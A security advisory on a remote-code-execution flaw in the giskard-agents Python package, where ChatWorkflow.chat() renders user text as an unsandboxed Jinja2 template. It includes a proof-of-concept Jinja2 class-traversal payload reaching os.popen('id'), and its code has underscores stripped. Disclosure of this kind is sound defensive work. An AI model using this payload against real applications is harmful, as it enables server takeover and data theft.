PT-2026-59153 · Pypi · Giskard-Agents

Published

2026-07-13

·

Updated

2026-07-13

CVSS v4.0

7.7

High

VectorAV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.
The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.

Root Cause

libs/giskard-agents/src/giskard/agents/workflow.py line ~261:
python
def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self:
  if isinstance(message, str):
    message = MessageTemplate(role=role, content template=message)
The string becomes content template, which is parsed by from string():
libs/giskard-agents/src/giskard/agents/templates/message.py lines 14-15:
python
def render(self, **kwargs: Any) -> Message:
  template = inline env.from string(self.content template)
  rendered content = template.render(**kwargs)
The Jinja2 Environment is not sandboxed:
libs/giskard-agents/src/giskard/agents/templates/environment.py line 37:
python
 inline env = Environment(
  autoescape=False,
  # Not SandboxedEnvironment
)

Proof of Concept

python
from jinja2 import Environment
env = Environment() # Same as giskard's inline env

# Class traversal reaches os.popen
t = env.from string("{{ ''. class . mro [1]. subclasses () | length }}")
print(t.render()) # 342 accessible subclasses

# Full RCE payload (subclass index varies by Python version)
# {{ ''. class . mro [1]. subclasses ()[INDEX]. init . globals ['os'].popen('id').read() }}
A developer building a chatbot:
python
workflow = ChatWorkflow(generator=my llm)
workflow = workflow.chat(user input) # user input parsed as Jinja2 template
result = await workflow.run()     # RCE if user input contains {{ payload }}
Note: using .with inputs(var=user data) is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to chat().

Impact

Remote code execution on the server hosting any application built with giskard-agents that passes user input to ChatWorkflow.chat(). Attacker can execute system commands, read files, access environment variables.
Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).

Mitigation

Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.
The fix replaces the unsandboxed Jinja2 Environment with SandboxedEnvironment, which blocks attribute access to dunder methods and prevents class traversal chains. SandboxedEnvironment blocks access to attributes starting with , preventing the class . mro traversal chain.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-2487

Affected Products

Giskard-Agents